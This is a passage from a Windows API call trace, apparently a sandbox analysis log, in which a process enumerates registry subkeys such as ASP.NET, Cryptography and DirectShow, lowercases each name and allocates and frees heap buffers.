lpMultiByteStr=0x8ec0d8, cbMultiByte=18, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="advanced inf setup", lpUsedDefaultChar=0x0) returned 18 [0259.497] RtlAllocateHeap (HeapHandle=0x8e0000, Flags=0x8, Size=0x40) returned 0x8ec120 [0259.497] RtlFreeHeap (HeapHandle=0x8e0000, Flags=0x0, BaseAddress=0x8ec0d8) returned 1 [0259.497] RtlFreeHeap (HeapHandle=0x8e0000, Flags=0x0, BaseAddress=0x8ec120) returned 1 [0259.497] RtlFreeHeap (HeapHandle=0x8e0000, Flags=0x0, BaseAddress=0x8ebbb8) returned 1 [0259.497] RegEnumKeyW (in: hKey=0x38, dwIndex=0x4, lpName=0x8eb930, cchName=0x104 | out: lpName="ALG") returned 0x0 [0259.497] RtlAllocateHeap (HeapHandle=0x8e0000, Flags=0x8, Size=0x80) returned 0x8ebbb8 [0259.497] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="alg", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0259.497] RtlAllocateHeap (HeapHandle=0x8e0000, Flags=0x8, Size=0x40) returned 0x8ec120 [0259.498] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="alg", cchWideChar=3, lpMultiByteStr=0x8ec120, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="alg", lpUsedDefaultChar=0x0) returned 3 [0259.498] RtlAllocateHeap (HeapHandle=0x8e0000, Flags=0x8, Size=0x40) returned 0x8ec0d8 [0259.498] RtlFreeHeap (HeapHandle=0x8e0000, Flags=0x0, BaseAddress=0x8ec120) returned 1 [0259.498] RtlFreeHeap (HeapHandle=0x8e0000, Flags=0x0, BaseAddress=0x8ec0d8) returned 1 [0259.498] RtlFreeHeap (HeapHandle=0x8e0000, Flags=0x0, BaseAddress=0x8ebbb8) returned 1 [0259.498] RegEnumKeyW (in: hKey=0x38, dwIndex=0x5, lpName=0x8eb930, cchName=0x104 | out: lpName="ASP.NET") returned 0x0 [0259.498] RtlAllocateHeap (HeapHandle=0x8e0000, Flags=0x8, Size=0x80) returned 0x8ebbb8 [0259.498] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="asp.net", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0259.498] RtlAllocateHeap (HeapHandle=0x8e0000, Flags=0x8, Size=0x40) returned 0x8ec0d8 [0259.498] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="asp.net", cchWideChar=7, lpMultiByteStr=0x8ec0d8, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="asp.net", lpUsedDefaultChar=0x0) returned 7 [0259.498] RtlAllocateHeap (HeapHandle=0x8e0000, Flags=0x8, Size=0x40) returned 0x8ec120 [0259.498] RtlFreeHeap (HeapHandle=0x8e0000, Flags=0x0, BaseAddress=0x8ec0d8) returned 1 [0259.498] RtlFreeHeap (HeapHandle=0x8e0000, Flags=0x0, BaseAddress=0x8ec120) returned 1 [0259.498] RtlFreeHeap (HeapHandle=0x8e0000, Flags=0x0, BaseAddress=0x8ebbb8) returned 1 [0259.498] RegEnumKeyW (in: hKey=0x38, dwIndex=0x6, lpName=0x8eb930, cchName=0x104 | out: lpName="Assistance") returned 0x0 [0259.498] RtlAllocateHeap (HeapHandle=0x8e0000, Flags=0x8, Size=0x80) returned 0x8ebbb8 [0259.498] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="assistance", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0259.498] RtlAllocateHeap (HeapHandle=0x8e0000, Flags=0x8, Size=0x40) returned 0x8ec120 [0259.498] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="assistance", cchWideChar=10, lpMultiByteStr=0x8ec120, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="assistance", lpUsedDefaultChar=0x0) returned 10 [0259.498] RtlAllocateHeap (HeapHandle=0x8e0000, Flags=0x8, Size=0x40) returned 0x8ec0d8 [0259.498] RtlFreeHeap (HeapHandle=0x8e0000, Flags=0x0, BaseAddress=0x8ec120) returned 1 [0259.498] RtlFreeHeap (HeapHandle=0x8e0000, Flags=0x0, BaseAddress=0x8ec0d8) returned 1 [0259.498] RtlFreeHeap (HeapHandle=0x8e0000, Flags=0x0, BaseAddress=0x8ebbb8) returned 1 [0259.498] RegEnumKeyW (in: hKey=0x38, dwIndex=0x7, lpName=0x8eb930, cchName=0x104 | out: lpName="BidInterface") returned 0x0 [0259.498] RtlAllocateHeap (HeapHandle=0x8e0000, Flags=0x8, Size=0x80) returned 0x8ebbb8 [0259.498] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bidinterface", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0259.498] RtlAllocateHeap (HeapHandle=0x8e0000, Flags=0x8, Size=0x40) returned 0x8ec0d8 [0259.498] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bidinterface", cchWideChar=12, lpMultiByteStr=0x8ec0d8, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bidinterface", lpUsedDefaultChar=0x0) returned 12 [0259.498] RtlAllocateHeap (HeapHandle=0x8e0000, Flags=0x8, Size=0x40) returned 0x8ec120 [0259.498] RtlFreeHeap (HeapHandle=0x8e0000, Flags=0x0, BaseAddress=0x8ec0d8) returned 1 [0259.498] RtlFreeHeap (HeapHandle=0x8e0000, Flags=0x0, BaseAddress=0x8ec120) returned 1 [0259.498] RtlFreeHeap (HeapHandle=0x8e0000, Flags=0x0, BaseAddress=0x8ebbb8) returned 1 [0259.498] RegEnumKeyW (in: hKey=0x38, dwIndex=0x8, lpName=0x8eb930, cchName=0x104 | out: lpName="COM3") returned 0x0 [0259.498] RtlAllocateHeap (HeapHandle=0x8e0000, Flags=0x8, Size=0x80) returned 0x8ebbb8 [0259.498] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="com3", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0259.499] RtlAllocateHeap (HeapHandle=0x8e0000, Flags=0x8, Size=0x40) returned 0x8ec120 [0259.499] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="com3", cchWideChar=4, lpMultiByteStr=0x8ec120, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="com3", lpUsedDefaultChar=0x0) returned 4 [0259.499] RtlAllocateHeap (HeapHandle=0x8e0000, Flags=0x8, Size=0x40) returned 0x8ec0d8 [0259.499] RtlFreeHeap (HeapHandle=0x8e0000, Flags=0x0, BaseAddress=0x8ec120) returned 1 [0259.499] RtlFreeHeap (HeapHandle=0x8e0000, Flags=0x0, BaseAddress=0x8ec0d8) returned 1 [0259.499] RtlFreeHeap (HeapHandle=0x8e0000, Flags=0x0, BaseAddress=0x8ebbb8) returned 1 [0259.499] RegEnumKeyW (in: hKey=0x38, dwIndex=0x9, lpName=0x8eb930, cchName=0x104 | out: lpName="Command Processor") returned 0x0 [0259.499] RtlAllocateHeap (HeapHandle=0x8e0000, Flags=0x8, Size=0x80) returned 0x8ebbb8 [0259.499] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="command processor", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0259.499] RtlAllocateHeap (HeapHandle=0x8e0000, Flags=0x8, Size=0x40) returned 0x8ec0d8 [0259.499] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="command processor", cchWideChar=17, lpMultiByteStr=0x8ec0d8, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="command processor", lpUsedDefaultChar=0x0) returned 17 [0259.499] RtlAllocateHeap (HeapHandle=0x8e0000, Flags=0x8, Size=0x40) returned 0x8ec120 [0259.499] RtlFreeHeap (HeapHandle=0x8e0000, Flags=0x0, BaseAddress=0x8ec0d8) returned 1 [0259.499] RtlFreeHeap (HeapHandle=0x8e0000, Flags=0x0, BaseAddress=0x8ec120) returned 1 [0259.499] RtlFreeHeap (HeapHandle=0x8e0000, Flags=0x0, BaseAddress=0x8ebbb8) returned 1 [0259.499] RegEnumKeyW (in: hKey=0x38, dwIndex=0xa, lpName=0x8eb930, cchName=0x104 | out: lpName="Connect to a Network Projector") returned 0x0 [0259.499] RtlAllocateHeap (HeapHandle=0x8e0000, Flags=0x8, Size=0x80) returned 0x8ebbb8 [0259.499] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="connect to a network projector", cchWideChar=30, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 30 [0259.499] RtlAllocateHeap (HeapHandle=0x8e0000, Flags=0x8, Size=0x40) returned 0x8ec120 [0259.499] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="connect to a network projector", cchWideChar=30, lpMultiByteStr=0x8ec120, cbMultiByte=30, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="connect to a network projector", lpUsedDefaultChar=0x0) returned 30 [0259.499] RtlAllocateHeap (HeapHandle=0x8e0000, Flags=0x8, Size=0x40) returned 0x8ec0d8 [0259.499] RtlFreeHeap (HeapHandle=0x8e0000, Flags=0x0, BaseAddress=0x8ec120) returned 1 [0259.499] RtlFreeHeap (HeapHandle=0x8e0000, Flags=0x0, BaseAddress=0x8ec0d8) returned 1 [0259.499] RtlFreeHeap (HeapHandle=0x8e0000, Flags=0x0, BaseAddress=0x8ebbb8) returned 1 [0259.499] RegEnumKeyW (in: hKey=0x38, dwIndex=0xb, lpName=0x8eb930, cchName=0x104 | out: lpName="Cryptography") returned 0x0 [0259.499] RtlAllocateHeap (HeapHandle=0x8e0000, Flags=0x8, Size=0x80) returned 0x8ebbb8 [0259.499] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="cryptography", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0259.499] RtlAllocateHeap (HeapHandle=0x8e0000, Flags=0x8, Size=0x40) returned 0x8ec0d8 [0259.499] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="cryptography", cchWideChar=12, lpMultiByteStr=0x8ec0d8, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="cryptography", lpUsedDefaultChar=0x0) returned 12 [0259.499] RtlAllocateHeap (HeapHandle=0x8e0000, Flags=0x8, Size=0x40) returned 0x8ec120 [0259.499] RtlFreeHeap (HeapHandle=0x8e0000, Flags=0x0, BaseAddress=0x8ec0d8) returned 1 [0259.499] RtlFreeHeap (HeapHandle=0x8e0000, Flags=0x0, BaseAddress=0x8ec120) returned 1 [0259.499] RtlFreeHeap (HeapHandle=0x8e0000, Flags=0x0, BaseAddress=0x8ebbb8) returned 1 [0259.499] RegEnumKeyW (in: hKey=0x38, dwIndex=0xc, lpName=0x8eb930, cchName=0x104 | out: lpName="CTF") returned 0x0 [0259.499] RtlAllocateHeap (HeapHandle=0x8e0000, Flags=0x8, Size=0x80) returned 0x8ebbb8 [0259.500] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ctf", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0259.500] RtlAllocateHeap (HeapHandle=0x8e0000, Flags=0x8, Size=0x40) returned 0x8ec120 [0259.500] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ctf", cchWideChar=3, lpMultiByteStr=0x8ec120, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ctf", lpUsedDefaultChar=0x0) returned 3 [0259.500] RtlAllocateHeap (HeapHandle=0x8e0000, Flags=0x8, Size=0x40) returned 0x8ec0d8 [0259.500] RtlFreeHeap (HeapHandle=0x8e0000, Flags=0x0, BaseAddress=0x8ec120) returned 1 [0259.500] RtlFreeHeap (HeapHandle=0x8e0000, Flags=0x0, BaseAddress=0x8ec0d8) returned 1 [0259.500] RtlFreeHeap (HeapHandle=0x8e0000, Flags=0x0, BaseAddress=0x8ebbb8) returned 1 [0259.500] RegEnumKeyW (in: hKey=0x38, dwIndex=0xd, lpName=0x8eb930, cchName=0x104 | out: lpName="DataAccess") returned 0x0 [0259.500] RtlAllocateHeap (HeapHandle=0x8e0000, Flags=0x8, Size=0x80) returned 0x8ebbb8 [0259.500] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="dataaccess", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0259.500] RtlAllocateHeap (HeapHandle=0x8e0000, Flags=0x8, Size=0x40) returned 0x8ec0d8 [0259.500] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="dataaccess", cchWideChar=10, lpMultiByteStr=0x8ec0d8, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="dataaccess", lpUsedDefaultChar=0x0) returned 10 [0259.500] RtlAllocateHeap (HeapHandle=0x8e0000, Flags=0x8, Size=0x40) returned 0x8ec120 [0259.500] RtlFreeHeap (HeapHandle=0x8e0000, Flags=0x0, BaseAddress=0x8ec0d8) returned 1 [0259.500] RtlFreeHeap (HeapHandle=0x8e0000, Flags=0x0, BaseAddress=0x8ec120) returned 1 [0259.500] RtlFreeHeap (HeapHandle=0x8e0000, Flags=0x0, BaseAddress=0x8ebbb8) returned 1 [0259.500] RegEnumKeyW (in: hKey=0x38, dwIndex=0xe, lpName=0x8eb930, cchName=0x104 | out: lpName="DataFactory") returned 0x0 [0259.500] RtlAllocateHeap (HeapHandle=0x8e0000, Flags=0x8, Size=0x80) returned 0x8ebbb8 [0259.500] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="datafactory", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0259.500] RtlAllocateHeap (HeapHandle=0x8e0000, Flags=0x8, Size=0x40) returned 0x8ec120 [0259.500] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="datafactory", cchWideChar=11, lpMultiByteStr=0x8ec120, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="datafactory", lpUsedDefaultChar=0x0) returned 11 [0259.500] RtlAllocateHeap (HeapHandle=0x8e0000, Flags=0x8, Size=0x40) returned 0x8ec0d8 [0259.500] RtlFreeHeap (HeapHandle=0x8e0000, Flags=0x0, BaseAddress=0x8ec120) returned 1 [0259.500] RtlFreeHeap (HeapHandle=0x8e0000, Flags=0x0, BaseAddress=0x8ec0d8) returned 1 [0259.500] RtlFreeHeap (HeapHandle=0x8e0000, Flags=0x0, BaseAddress=0x8ebbb8) returned 1 [0259.500] RegEnumKeyW (in: hKey=0x38, dwIndex=0xf, lpName=0x8eb930, cchName=0x104 | out: lpName="DevDiv") returned 0x0 [0259.500] RtlAllocateHeap (HeapHandle=0x8e0000, Flags=0x8, Size=0x80) returned 0x8ebbb8 [0259.500] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="devdiv", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0259.500] RtlAllocateHeap (HeapHandle=0x8e0000, Flags=0x8, Size=0x40) returned 0x8ec0d8 [0259.500] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="devdiv", cchWideChar=6, lpMultiByteStr=0x8ec0d8, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="devdiv", lpUsedDefaultChar=0x0) returned 6 [0259.500] RtlAllocateHeap (HeapHandle=0x8e0000, Flags=0x8, Size=0x40) returned 0x8ec120 [0259.500] RtlFreeHeap (HeapHandle=0x8e0000, Flags=0x0, BaseAddress=0x8ec0d8) returned 1 [0259.500] RtlFreeHeap (HeapHandle=0x8e0000, Flags=0x0, BaseAddress=0x8ec120) returned 1 [0259.500] RtlFreeHeap (HeapHandle=0x8e0000, Flags=0x0, BaseAddress=0x8ebbb8) returned 1 [0259.500] RegEnumKeyW (in: hKey=0x38, dwIndex=0x10, lpName=0x8eb930, cchName=0x104 | out: lpName="Dfrg") returned 0x0 [0259.500] RtlAllocateHeap (HeapHandle=0x8e0000, Flags=0x8, Size=0x80) returned 0x8ebbb8 [0259.500] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="dfrg", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0259.501] RtlAllocateHeap (HeapHandle=0x8e0000, Flags=0x8, Size=0x40) returned 0x8ec120 [0259.501] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="dfrg", cchWideChar=4, lpMultiByteStr=0x8ec120, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="dfrg", lpUsedDefaultChar=0x0) returned 4 [0259.501] RtlAllocateHeap (HeapHandle=0x8e0000, Flags=0x8, Size=0x40) returned 0x8ec0d8 [0259.501] RtlFreeHeap (HeapHandle=0x8e0000, Flags=0x0, BaseAddress=0x8ec120) returned 1 [0259.501] RtlFreeHeap (HeapHandle=0x8e0000, Flags=0x0, BaseAddress=0x8ec0d8) returned 1 [0259.501] RtlFreeHeap (HeapHandle=0x8e0000, Flags=0x0, BaseAddress=0x8ebbb8) returned 1 [0259.501] RegEnumKeyW (in: hKey=0x38, dwIndex=0x11, lpName=0x8eb930, cchName=0x104 | out: lpName="DFS") returned 0x0 [0259.501] RtlAllocateHeap (HeapHandle=0x8e0000, Flags=0x8, Size=0x80) returned 0x8ebbb8 [0259.501] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="dfs", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0259.501] RtlAllocateHeap (HeapHandle=0x8e0000, Flags=0x8, Size=0x40) returned 0x8ec0d8 [0259.501] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="dfs", cchWideChar=3, lpMultiByteStr=0x8ec0d8, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="dfs", lpUsedDefaultChar=0x0) returned 3 [0259.501] RtlAllocateHeap (HeapHandle=0x8e0000, Flags=0x8, Size=0x40) returned 0x8ec120 [0259.501] RtlFreeHeap (HeapHandle=0x8e0000, Flags=0x0, BaseAddress=0x8ec0d8) returned 1 [0259.501] RtlFreeHeap (HeapHandle=0x8e0000, Flags=0x0, BaseAddress=0x8ec120) returned 1 [0259.501] RtlFreeHeap (HeapHandle=0x8e0000, Flags=0x0, BaseAddress=0x8ebbb8) returned 1 [0259.501] RegEnumKeyW (in: hKey=0x38, dwIndex=0x12, lpName=0x8eb930, cchName=0x104 | out: lpName="DirectDraw") returned 0x0 [0259.501] RtlAllocateHeap (HeapHandle=0x8e0000, Flags=0x8, Size=0x80) returned 0x8ebbb8 [0259.501] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="directdraw", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0259.501] RtlAllocateHeap (HeapHandle=0x8e0000, Flags=0x8, Size=0x40) returned 0x8ec120 [0259.501] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="directdraw", cchWideChar=10, lpMultiByteStr=0x8ec120, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="directdraw", lpUsedDefaultChar=0x0) returned 10 [0259.501] RtlAllocateHeap (HeapHandle=0x8e0000, Flags=0x8, Size=0x40) returned 0x8ec0d8 [0259.501] RtlFreeHeap (HeapHandle=0x8e0000, Flags=0x0, BaseAddress=0x8ec120) returned 1 [0259.501] RtlFreeHeap (HeapHandle=0x8e0000, Flags=0x0, BaseAddress=0x8ec0d8) returned 1 [0259.501] RtlFreeHeap (HeapHandle=0x8e0000, Flags=0x0, BaseAddress=0x8ebbb8) returned 1 [0259.501] RegEnumKeyW (in: hKey=0x38, dwIndex=0x13, lpName=0x8eb930, cchName=0x104 | out: lpName="DirectInput") returned 0x0 [0259.501] RtlAllocateHeap (HeapHandle=0x8e0000, Flags=0x8, Size=0x80) returned 0x8ebbb8 [0259.501] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="directinput", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0259.501] RtlAllocateHeap (HeapHandle=0x8e0000, Flags=0x8, Size=0x40) returned 0x8ec0d8 [0259.501] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="directinput", cchWideChar=11, lpMultiByteStr=0x8ec0d8, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="directinput", lpUsedDefaultChar=0x0) returned 11 [0259.501] RtlAllocateHeap (HeapHandle=0x8e0000, Flags=0x8, Size=0x40) returned 0x8ec120 [0259.501] RtlFreeHeap (HeapHandle=0x8e0000, Flags=0x0, BaseAddress=0x8ec0d8) returned 1 [0259.501] RtlFreeHeap (HeapHandle=0x8e0000, Flags=0x0, BaseAddress=0x8ec120) returned 1 [0259.501] RtlFreeHeap (HeapHandle=0x8e0000, Flags=0x0, BaseAddress=0x8ebbb8) returned 1 [0259.501] RegEnumKeyW (in: hKey=0x38, dwIndex=0x14, lpName=0x8eb930, cchName=0x104 | out: lpName="DirectMusic") returned 0x0 [0259.501] RtlAllocateHeap (HeapHandle=0x8e0000, Flags=0x8, Size=0x80) returned 0x8ebbb8 [0259.501] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="directmusic", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0259.502] RtlAllocateHeap (HeapHandle=0x8e0000, Flags=0x8, Size=0x40) returned 0x8ec120 [0259.502] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="directmusic", cchWideChar=11, lpMultiByteStr=0x8ec120, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="directmusic", lpUsedDefaultChar=0x0) returned 11 [0259.502] RtlAllocateHeap (HeapHandle=0x8e0000, Flags=0x8, Size=0x40) returned 0x8ec0d8 [0259.502] RtlFreeHeap (HeapHandle=0x8e0000, Flags=0x0, BaseAddress=0x8ec120) returned 1 [0259.502] RtlFreeHeap (HeapHandle=0x8e0000, Flags=0x0, BaseAddress=0x8ec0d8) returned 1 [0259.502] RtlFreeHeap (HeapHandle=0x8e0000, Flags=0x0, BaseAddress=0x8ebbb8) returned 1 [0259.502] RegEnumKeyW (in: hKey=0x38, dwIndex=0x15, lpName=0x8eb930, cchName=0x104 | out: lpName="DirectPlay8") returned 0x0 [0259.502] RtlAllocateHeap (HeapHandle=0x8e0000, Flags=0x8, Size=0x80) returned 0x8ebbb8 [0259.502] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="directplay8", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0259.502] RtlAllocateHeap (HeapHandle=0x8e0000, Flags=0x8, Size=0x40) returned 0x8ec0d8 [0259.502] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="directplay8", cchWideChar=11, lpMultiByteStr=0x8ec0d8, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="directplay8", lpUsedDefaultChar=0x0) returned 11 [0259.502] RtlAllocateHeap (HeapHandle=0x8e0000, Flags=0x8, Size=0x40) returned 0x8ec120 [0259.502] RtlFreeHeap (HeapHandle=0x8e0000, Flags=0x0, BaseAddress=0x8ec0d8) returned 1 [0259.502] RtlFreeHeap (HeapHandle=0x8e0000, Flags=0x0, BaseAddress=0x8ec120) returned 1 [0259.502] RtlFreeHeap (HeapHandle=0x8e0000, Flags=0x0, BaseAddress=0x8ebbb8) returned 1 [0259.502] RegEnumKeyW (in: hKey=0x38, dwIndex=0x16, lpName=0x8eb930, cchName=0x104 | out: lpName="DirectPlayNATHelp") returned 0x0 [0259.502] RtlAllocateHeap (HeapHandle=0x8e0000, Flags=0x8, Size=0x80) returned 0x8ebbb8 [0259.502] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="directplaynathelp", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0259.502] RtlAllocateHeap (HeapHandle=0x8e0000, Flags=0x8, Size=0x40) returned 0x8ec120 [0259.502] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="directplaynathelp", cchWideChar=17, lpMultiByteStr=0x8ec120, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="directplaynathelp", lpUsedDefaultChar=0x0) returned 17 [0259.502] RtlAllocateHeap (HeapHandle=0x8e0000, Flags=0x8, Size=0x40) returned 0x8ec0d8 [0259.502] RtlFreeHeap (HeapHandle=0x8e0000, Flags=0x0, BaseAddress=0x8ec120) returned 1 [0259.502] RtlFreeHeap (HeapHandle=0x8e0000, Flags=0x0, BaseAddress=0x8ec0d8) returned 1 [0259.502] RtlFreeHeap (HeapHandle=0x8e0000, Flags=0x0, BaseAddress=0x8ebbb8) returned 1 [0259.502] RegEnumKeyW (in: hKey=0x38, dwIndex=0x17, lpName=0x8eb930, cchName=0x104 | out: lpName="DirectShow") returned 0x0 [0259.502] RtlAllocateHeap (HeapHandle=0x8e0000, Flags=0x8, Size=0x80) returned 0x8ebbb8 [0259.502] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="directshow", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0259.502] RtlAllocateHeap (HeapHandle=0x8e0000, Flags=0x8, Size=0x40) returned 0x8ec0d8 [0259.502] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="directshow", cchWideChar=10, lpMultiByteStr=0x8ec0d8, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="directshow", lpUsedDefaultChar=0x0) returned 10 [0259.502] RtlAllocateHeap (HeapHandle=0x8e0000, Flags=0x8, Size=0x40) returned 0x8ec120 [0259.502] RtlFreeHeap (HeapHandle=0x8e0000, Flags=0x0, BaseAddress=0x8ec0d8) returned 1 [0259.502] RtlFreeHeap (HeapHandle=0x8e0000, Flags=0x0, BaseAddress=0x8ec120) returned 1 [0259.502] RtlFreeHeap (HeapHandle=0x8e0000, Flags=0x0, BaseAddress=0x8ebbb8) returned 1 [0259.502] RegEnumKeyW (in: hKey=0x38, dwIndex=0x18, lpName=0x8eb930, 